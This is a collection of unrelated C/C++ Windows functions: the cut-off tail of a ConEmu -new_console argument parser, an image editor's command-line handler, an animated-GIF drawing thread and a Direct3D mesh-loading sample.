аргумент pszFrom = pszFind+nNewConLen; } else { if (pszFindNew) NewConsole = crb_On; // -- не будем пока, мешает. например, при запуске задач //// По умолчанию, принудительно включить "Press Enter or Esc to close console" //if (!bForceCurConsole) // eConfirmation = eConfAlways; bool lbQuot = (*(pszFind-1) == L'"'); bool lbWasQuot = lbQuot; const wchar_t* pszEnd = pszFind+nNewConLen; //wchar_t szNewConArg[MAX_PATH+1]; if (lbQuot) pszFind--; if (*pszEnd == L'"') { pszEnd++; } else if (*pszEnd != L':') { // Конец _ASSERTE(*pszEnd == L' ' || *pszEnd == 0); } else { if (*pszEnd == L':') { pszEnd++; } else { _ASSERTE(*pszEnd == L':'); } // Найти конец аргумента const wchar_t* pszArgEnd = pszEnd; bool lbLocalQuot = false; while (*pszArgEnd) { switch (*pszArgEnd) { case L'^': pszArgEnd++; // Skip control char, goto escaped char break; case L'"': if (*(pszArgEnd+1) == L'"') { pszArgEnd += 2; // Skip qoubled qouble quote continue; } if (!lbQuot) { if (!lbLocalQuot && (*(pszArgEnd-1) == L':')) { lbLocalQuot = true; pszArgEnd++; continue; } if (lbLocalQuot) { if (*(pszArgEnd+1) != L':') goto EndFound; lbLocalQuot = false; pszArgEnd += 2; continue; } } goto EndFound; case L' ': if (!lbQuot && !lbLocalQuot) goto EndFound; break; case 0: goto EndFound; } pszArgEnd++; } EndFound: // Обработка доп.параметров -new_console:xxx bool lbReady = false; while (!lbReady && *pszEnd) { _ASSERTE(pszEnd <= pszArgEnd); wchar_t cOpt = *(pszEnd++); switch (cOpt) { //case L'-': // bStop = true; // следующие "-new_console" - не трогать! // break; case L'"': // Assert was happened, for example, with: "/C \"ConEmu:run:Far.exe -new_console:\"" _ASSERTE((pszEnd > pszArgEnd) && "Wrong quotation usage in -new_console?"); lbReady = true; break; case L' ': case 0: lbReady = true; break; case L':': // Just skip ':'. Delimiter between switches: -new_console:c:b:a // Revert stored value to lbQuot. We need to "cut" last double quote in the first two cases // cmd -cur_console:d:"C:\users":t:"My title" "-cur_console:C:C:\cmd.ico" -cur_console:P:"<PowerShell>":a /k ver lbWasQuot = lbQuot; break; case L'b': // b - background, не активировать таб BackgroundTab = crb_On; ForegroungTab = crb_Off; break; case L'f': // f - foreground, активировать таб (аналог ">" в Tasks) ForegroungTab = crb_On; BackgroundTab = crb_Off; break; case L'z': // z - don't use "Default terminal" feature NoDefaultTerm = crb_On; break; case L'a': // a - RunAs shell verb (as admin on Vista+, login/password in WinXP-) RunAsAdministrator = crb_On; break; case L'r': // r - run as restricted user RunAsRestricted = crb_On; break; case L'o': // o - disable "Long output" for next command (Far Manager) LongOutputDisable = crb_On; break; case L'w': // e - enable "Overwrite" mode in console prompt OverwriteMode = crb_On; break; case L'p': if (isDigit(*pszEnd)) { switch (*(pszEnd++)) { case L'0': nPTY = 0; // don't change break; case L'1': nPTY = 1; // enable PTY mode break; case L'2': nPTY = 2; // disable PTY mode (switch to plain $CONIN, $CONOUT, $CONERR) break; default: nPTY = 1; } } else { nPTY = 1; // enable PTY mode } break; case L'i': // i - don't inject ConEmuHk into the starting application InjectsDisable = crb_On; break; case L'N': // N - Force new ConEmu window with Default terminal ForceNewWindow = crb_On; break; case 'R': // R - Force CheckHookServer (GitShowBranch.cmd, actually used with -cur_console) ForceHooksServer = crb_On; break; case L'h': // "h0" - отключить буфер, "h9999" - включить буфер в 9999 строк { BufHeight = crb_On; if (isDigit(*pszEnd)) { wchar_t* pszDigits = NULL; nBufHeight = wcstoul(pszEnd, &pszDigits, 10); if (pszDigits) pszEnd = pszDigits; } else { nBufHeight = 0; } } // L'h': break; case L'n': // n - отключить "Press Enter or Esc to close console" eConfirmation = eConfNever; break; case L'c': // c - принудительно включить "Press Enter or Esc to close console" eConfirmation = eConfAlways; break; case L'x': // x - Force using dosbox for .bat files ForceDosBox = crb_On; break; case L'I': // I - tell GuiMacro to execute new command inheriting active process state. This is only usage ATM. ForceInherit = crb_On; break; // "Long" code blocks below: 'd', 'u', 's' and so on (in future) case L's': // s[<SplitTab>T][<Percents>](H|V) // Пример: "s3T30H" - разбить 3-ий таб. будет создан новый Pane справа, шириной 30% от 3-го таба. { UINT nTab = 0 /*active*/, nValue = /*пополам*/DefaultSplitValue/10; bool bDisableSplit = false; while (*pszEnd) { if (isDigit(*pszEnd)) { wchar_t* pszDigits = NULL; UINT n = wcstoul(pszEnd, &pszDigits, 10); if (!pszDigits) break; pszEnd = pszDigits; if (*pszDigits == L'T') { nTab = n; } else if ((*pszDigits == L'H') || (*pszDigits == L'V')) { nValue = n; eSplit = (*pszDigits == L'H') ? eSplitHorz : eSplitVert; } else { break; } pszEnd++; } else if (*pszEnd == L'T') { nTab = 0; pszEnd++; } else if ((*pszEnd == L'H') || (*pszEnd == L'V')) { nValue = DefaultSplitValue/10; eSplit = (*pszEnd == L'H') ? eSplitHorz : eSplitVert; pszEnd++; } else if (*pszEnd == L'N') { bDisableSplit = true; pszEnd++; break; } else { break; } } if (bDisableSplit) { eSplit = eSplitNone; nSplitValue = DefaultSplitValue; nSplitPane = 0; } else { if (!eSplit) eSplit = eSplitHorz; // Для удобства, пользователь задает размер НОВОЙ части nSplitValue = 1000-max(1,min(nValue*10,999)); // проценты _ASSERTE(nSplitValue>=1 && nSplitValue<1000); nSplitPane = nTab; } } // L's' break; // Following options (except of single 'u') must be placed on the end of "-new_console:..." // If one needs more that one option - use several "-new_console:..." switches case L'd': // d:<StartupDir>. MUST be last option case L't': // t:<TabName>. MUST be last option case L'u': // u - ConEmu choose user dialog (may be specified in the middle, if it is without ':' - user or pwd) // u:<user> - ConEmu choose user dialog with prefilled user field. MUST be last option // u:<user>:<pwd> - specify user/pwd in args. MUST be last option case L'C': // C:<IconFile>. MUST be last option case L'P': // P:<Palette>. MUST be last option case L'W': // W:<Wallpaper>. MUST be last option { if (cOpt == L'u') { // Show choose user dialog (may be specified in the middle, if it is without ':' - user or pwd) SafeFree(pszUserName); SafeFree(pszDomain); if (szUserPassword[0]) SecureZeroMemory(szUserPassword, sizeof(szUserPassword)); } if (*pszEnd == L':') { pszEnd++; } else { if (cOpt == L'u') { ForceUserDialog = crb_On; break; } } const wchar_t* pszTab = pszEnd; // we need to find end of argument pszEnd = pszArgEnd; // temp buffer wchar_t* lpszTemp = NULL; wchar_t** pptr = NULL; switch (cOpt) { case L'd': pptr = &pszStartupDir; break; case L't': pptr = &pszRenameTab; break; case L'u': pptr = &lpszTemp; break; case L'C': pptr = &pszIconFile; break; case L'P': pptr = &pszPalette; break; case L'W': pptr = &pszWallpaper; break; } if (pszEnd > pszTab) { size_t cchLen = pszEnd - pszTab; SafeFree(*pptr); *pptr = (wchar_t*)malloc((cchLen+1)*sizeof(**pptr)); if (*pptr) { // We need to process escape sequences ("^>" -> ">", "^&" -> "&", etc.) //wmemmove(*pptr, pszTab, cchLen); wchar_t* pD = *pptr; const wchar_t* pS = pszTab; if (lbQuot) { lbLocalQuot = false; } else if (*pS == L'"' && *(pS+1) != L'"') { // Remember, that last processed switch was local-quoted lbWasQuot = true; // This item is local quoted. Example: -new_console:t:"My title" lbLocalQuot = true; pS++; } // There is enough room allocated while (pS < pszEnd) { if ((*pS == L'^') && ((pS + 1) < pszEnd)) { pS++; // Skip control char, goto escaped char } else if (*pS == L'"') { if (((pS + 1) < pszEnd) && (*(pS+1) == L'"')) { pS++; // Skip qoubled qouble quote } else if (lbLocalQuot) { pszEnd = (pS+1); _ASSERTE(*pszEnd==L':' || *pszEnd==L' ' || *pszEnd==0); break; // End of local quoted argument: -new_console:d:"C:\User\super user":t:"My title" } } *(pD++) = *(pS++); } // Terminate with '\0' _ASSERTE(pD <= ((*pptr)+cchLen)); *pD = 0; // Issue 1711: Supposing there can't be ending quotes INT_PTR iLen = (pD - *pptr); while (((iLen--) > 0) && (*(--pD) == L'"')) *pD = 0; } // Additional processing switch (cOpt) { case L'd': // Например, "%USERPROFILE%" // TODO("А надо ли разворачивать их тут? Наверное при запуске под другим юзером некорректно? Хотя... все равно до переменных не доберемся"); if (wcschr(pszStartupDir, L'%')) { wchar_t* pszExpand = NULL; if (((pszExpand = ExpandEnvStr(pszStartupDir)) != NULL)) { SafeFree(pszStartupDir); pszStartupDir = pszExpand; } } break; case L'u': if (lpszTemp) { // Split in form: // [Domain\]UserName[:Password] wchar_t* pszPwd = wcschr(lpszTemp, L':'); if (pszPwd) { // Password was specified, dialog prompt is not required ForceUserDialog = crb_Off; *pszPwd = 0; int nPwdLen = lstrlen(pszPwd+1); lstrcpyn(szUserPassword, pszPwd+1, countof(szUserPassword)); if (nPwdLen > 0) SecureZeroMemory(pszPwd+1, nPwdLen); UseEmptyPassword = (nPwdLen == 0) ? crb_On : crb_Off; } else { // Password was NOT specified, dialog prompt IS required ForceUserDialog = crb_On; UseEmptyPassword = crb_Off; } wchar_t* pszSlash = wcschr(lpszTemp, L'\\'); if (pszSlash) { *pszSlash = 0; pszDomain = lstrdup(lpszTemp); pszUserName = lstrdup(pszSlash+1); } else { pszUserName = lstrdup(lpszTemp); } } break; } } SafeFree(lpszTemp); } // L't': break; } } } if (pszEnd > pszFind) { // pszEnd должен указывать на конец -new_console[:...] / -cur_console[:...] // и включать обрамляющую кавычку, если он окавычен if (lbWasQuot) { if (*pszEnd == L'"' && *(pszEnd-1) != L'"') pszEnd++; } else { while (*(pszEnd-1) == L'"') pszEnd--; } // Откусить лишние пробелы, которые стоят ПЕРЕД -new_console[:...] / -cur_console[:...] while (((pszFind - 1) >= pszSpecialCmd) && (*(pszFind-1) == L' ') && (((pszFind - 1) == pszSpecialCmd) || (*(pszFind-2) == L' ') || (/**pszEnd == L'"' ||*/ *pszEnd == 0 || *pszEnd == L' '))) { pszFind--; } // Откусить лишние пробелы ПОСЛЕ -new_console[:...] / -cur_console[:...] если он стоит в НАЧАЛЕ строки! if (pszFind == pszSpecialCmd) { while (*pszEnd == L' ') pszEnd++; } // Здесь нужно подвинуть pszStopAt if (pszStopAt) pszStopAt -= (pszEnd - pszFind); // Удалить из строки запуска обработанный ключ wmemmove(pszFind, pszEnd, (lstrlen(pszEnd)+1)); nChanges++; } else { _ASSERTE(pszEnd > pszFind); *pszFind = 0; nChanges++; } } // if ((((pszFind == pszFrom) ... } // while (!bStop) return nChanges; } // int RConStartArgs::ProcessNewConArg(bool bForceCurConsole /*= false*/)
BOOL HandleCommandLine( /***********************************************************************/ HWND hWindow, LPSTR lpszCmdLine, LPINT lpPrint) { FNAME szFileName; LPSTR lp; BOOL bPassedByClient, bGotImage; LPIMAGE lpImageDoc; HWND hWnd; int i; bPaintAppActive = TRUE; *lpPrint = NO; if ( !lpszCmdLine ) { // If no command line, bring up an empty image SendMessage( hWindow, WM_COMMAND, IDM_NEW, 0L ); if ( (hWnd = AstralDlgGet(IDD_MAIN)) && !IsWindowVisible( hWnd ) ) ShowWindow( hWnd, SW_SHOW ); return( TRUE ); } // Check if we have "[/ | -]embedding" and a possible filename. // usage: PP ["[-/]embedding"] file1 file2 ... // See if the command line is being passed by a client bPassedByClient = NO; if ( (lp = lstrfind( lpszCmdLine, "embedding" )) && (lp == lpszCmdLine || lp == (lpszCmdLine+1)) ) { // Command line passed by a client bPassedByClient = YES; lpszCmdLine = SkipSpaces( lp + 9 ); // skip over "embedding" } bGotImage = NO; while ( *lpszCmdLine ) { // Process any files and switches on the command line // Skip white space and see if we're done... lpszCmdLine = SkipSpaces( lpszCmdLine ); if ( !(*lpszCmdLine ) ) break; // If NULL get out // Check for any switches preceeding the file name: only /p for now while ( *lpszCmdLine == '/' ) { // a switch... lpszCmdLine++; // Skip over the slash if ( !*lpszCmdLine ) break; // If NULL get out if ( *lpszCmdLine == 'p' || *lpszCmdLine == 'P' ) *lpPrint = YES; lpszCmdLine++; // Skip the option character lpszCmdLine = SkipSpaces( lpszCmdLine ); } // Skip white space and see if we're done... lpszCmdLine = SkipSpaces( lpszCmdLine ); if ( !(*lpszCmdLine ) ) break; // If NULL get out // Try to zap the space after a single file name if ( (lp = lstrfind( lpszCmdLine, " " )) ) *lp = '\0'; // If we found a space, zap it // Copy the full path name into szFileName #ifdef _MAC lstrcpy( szFileName, lpszCmdLine ); #else if ( lstrchr( lpszCmdLine, '\\' ) ) lstrcpy( szFileName, lpszCmdLine ); else { // If not a full path name... GetCurrentDir( szFileName, sizeof(FNAME) ); FixPath( szFileName ); lstrcat( szFileName, lpszCmdLine ); } #endif // Now we're done with lpszCmdLine, so set it up for the next loop if ( lp ) // If we had found a space, there might be more file names lpszCmdLine = lp + 1; else lpszCmdLine += lstrlen(lpszCmdLine); // Point to nothing // Special handling of documents passed by a client ////if ( bPassedByClient ) //// { // Loop through documents to see if it's already open for ( i=0; i<NumDocs(); i++ ) { hWnd = GetDoc(i); if ( !(lpImageDoc = (LPIMAGE)GetWindowLong( hWnd, GWL_IMAGEPTR ))) continue; if ( !StringsEqual( lpImageDoc->CurFile, szFileName ) ) continue; // It's already open.... SendMessage( hClientAstral, WM_MDIACTIVATE, (WPARAM)hWnd, 0L ); if ( bPassedByClient ) lpImageDoc->fOwnedByClient = YES; szFileName[0] = '\0'; // Zap it bGotImage = YES; break; } //// } // If we have a file name, open it... if ( *szFileName ) { if ( AstralImageLoad( NULL, szFileName, MAYBE, YES ) ) bGotImage = YES; } // If the printing option was passed, print it and close it if ( *lpPrint && lpImage ) { SendMessage(hWndAstral, WM_COMMAND, IDM_PRINT, 0L ); CloseImage( NO, NULL ); } } if ( !bGotImage ) { if ( !idCurrentRoom ) { GoRoom (hInstAstral, -1, FALSE); return( FALSE ); } // If no image was opened via the command line, go to the opening screen SendMessage( hWindow, WM_COMMAND, IDM_NEW, 0L ); } if ( (hWnd = AstralDlgGet(IDD_MAIN)) && !IsWindowVisible( hWnd ) ) ShowWindow( hWnd, SW_SHOW ); return( TRUE ); }
void _cdecl DrawGifThread(LPVOID /*pParam*/) { while (ghwndGIF) { COLORREF rgbBack = ::GetSysColor(COLOR_BTNFACE); int iLength = lstrlen(pszCurrentFile); if (iLength) { // Set Window Title (show filename) TCHAR szWindowTitle[MAX_PATH + MAX_LOADSTRING]; ::wsprintf(szWindowTitle, "%s - %s", szTitle, pszCurrentFile); if (ghwndGIF) ::SetWindowText(ghwndGIF, szWindowTitle); UINT uLoop = 0; // Draw animated GIF to Windows Device Context (HDC) if (gif.Open(pszCurrentFile, rgbBack) == 0) { while (ghwndGIF) { int delay = gif.NextImage(); if (ghwndGIF) { ::InvalidateRect(ghwndGIF, NULL, FALSE); ::UpdateWindow(ghwndGIF); } if (delay <= 0) { TRACE("NextImage() returned %d\n", delay); // Limit loops to 2 loops (3 times) UINT uLoopCount = gif.GetLoopCount(); if (uLoopCount > 2) uLoopCount = 2; // Exit loop if loop count expired // or there is an error closing/reopening the file if (++uLoop > uLoopCount) break; TRACE("Loop count=%d\n", uLoop); gif.Close(); if (gif.Open(pszCurrentFile, rgbBack) != 0) { break; } } else { ASSERT( hFrameEvent ); ::WaitForSingleObject(hFrameEvent, bAnimate ? delay : INFINITE); } } gif.Close(); // Skip to next filename pszCurrentFile += (iLength + 1); ::Sleep(500); if (ghwndGIF) { ::SetWindowText(ghwndGIF, szTitle); ::InvalidateRect(ghwndGIF, NULL, TRUE); } } } else // (iLength == 0) { ::DragAcceptFiles(ghwndGIF, TRUE); } } // while }
//----------------------------------------------------------------------------- // Name: InitGeometry() // Desc: Load the mesh and build the material and texture arrays //----------------------------------------------------------------------------- HRESULT InitGeometry() { LPD3DXBUFFER pD3DXMtrlBuffer; // Load the mesh from the specified file if( FAILED( D3DXLoadMeshFromX( "Tiger.x", D3DXMESH_SYSTEMMEM, g_pd3dDevice, NULL, &pD3DXMtrlBuffer, NULL, &g_dwNumMaterials, &g_pMesh ) ) ) { // If model is not in current folder, try parent folder if( FAILED( D3DXLoadMeshFromX( "..\\Tiger.x", D3DXMESH_SYSTEMMEM, g_pd3dDevice, NULL, &pD3DXMtrlBuffer, NULL, &g_dwNumMaterials, &g_pMesh ) ) ) { MessageBox(NULL, "Could not find tiger.x", "Meshes.exe", MB_OK); return E_FAIL; } } // We need to extract the material properties and texture names from the // pD3DXMtrlBuffer D3DXMATERIAL* d3dxMaterials = (D3DXMATERIAL*)pD3DXMtrlBuffer->GetBufferPointer(); g_pMeshMaterials = new D3DMATERIAL9[g_dwNumMaterials]; g_pMeshTextures = new LPDIRECT3DTEXTURE9[g_dwNumMaterials]; for( DWORD i=0; i<g_dwNumMaterials; i++ ) { // Copy the material g_pMeshMaterials[i] = d3dxMaterials[i].MatD3D; // Set the ambient color for the material (D3DX does not do this) g_pMeshMaterials[i].Ambient = g_pMeshMaterials[i].Diffuse; g_pMeshTextures[i] = NULL; if( d3dxMaterials[i].pTextureFilename != NULL && lstrlen(d3dxMaterials[i].pTextureFilename) > 0 ) { // Create the texture if( FAILED( D3DXCreateTextureFromFile( g_pd3dDevice, d3dxMaterials[i].pTextureFilename, &g_pMeshTextures[i] ) ) ) { // If texture is not in current folder, try parent folder const TCHAR* strPrefix = TEXT("..\\"); const int lenPrefix = lstrlen( strPrefix ); TCHAR strTexture[MAX_PATH]; lstrcpyn( strTexture, strPrefix, MAX_PATH ); lstrcpyn( strTexture + lenPrefix, d3dxMaterials[i].pTextureFilename, MAX_PATH - lenPrefix ); // If texture is not in current folder, try parent folder if( FAILED( D3DXCreateTextureFromFile( g_pd3dDevice, strTexture, &g_pMeshTextures[i] ) ) ) { MessageBox(NULL, "Could not find texture map", "Meshes.exe", MB_OK); } } } } // Done with the material buffer pD3DXMtrlBuffer->Release(); return S_OK; }